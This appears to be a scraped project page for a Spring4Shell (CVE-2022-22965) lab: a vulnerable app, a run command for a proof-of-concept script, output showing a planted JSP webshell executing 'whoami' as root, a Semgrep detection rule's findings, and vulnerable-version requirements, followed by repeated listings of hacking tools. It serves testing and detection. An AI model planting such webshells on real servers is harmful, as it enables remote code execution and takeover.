CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

A fast tool to scan prototype pollution vulnerability

宝塔面板Windows版提权方法

All in One CRACKER911181's Tool. This Tool For Hacking and Pentesting.🎭

Description Basic Recon tool for beginners. Especially those who faces issue on how to recon or what all tools to use

The Modern Hash Identification System

version de mi tool de kali linux para miertuxzzzz digo, termux >:)

✨ Powerfull & Universal Link Bypasser ✨

You can manage your password with this program.

Multi-Process Vulnerability Tool

A python script to bypass 403-forbidden.

labsecurity is a tool that brings together python scripts made for ethical hacking, in a single tool, through a console interface

Static Token And Credential Scanner

CVE-2021-40346 integer overflow enables http smuggling

Python implementation of the diceware password generating algorithm.

ADExplorerSnapshot.py is an AD Explorer snapshot ingestor for BloodHound.

Bypass's HCaptcha by overloading their api causing it to throwback a generated uuid. (Released due to exposure)

The backend part of the simple password manager project made for the creative challenge.

Now patched 0day for force reseting an accounts password

将hw时信息收集以及简单的漏洞操作步骤简单化

This script allows you to make a onion host instantly.

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

A fast tool to scan prototype pollution vulnerability

宝塔面板Windows版提权方法

All in One CRACKER911181's Tool. This Tool For Hacking and Pentesting.🎭

Description Basic Recon tool for beginners. Especially those who faces issue on how to recon or what all tools to use

The Modern Hash Identification System

version de mi tool de kali linux para miertuxzzzz digo, termux >:)

✨ Powerfull & Universal Link Bypasser ✨

You can manage your password with this program.

Multi-Process Vulnerability Tool

A python script to bypass 403-forbidden.

labsecurity is a tool that brings together python scripts made for ethical hacking, in a single tool, through a console interface

Static Token And Credential Scanner

CVE-2021-40346 integer overflow enables http smuggling

Python implementation of the diceware password generating algorithm.

ADExplorerSnapshot.py is an AD Explorer snapshot ingestor for BloodHound.

Bypass's HCaptcha by overloading their api causing it to throwback a generated uuid. (Released due to exposure)

The backend part of the simple password manager project made for the creative challenge.

Now patched 0day for force reseting an accounts password

将hw时信息收集以及简单的漏洞操作步骤简单化

This script allows you to make a onion host instantly.

Vulnerable app requirements¹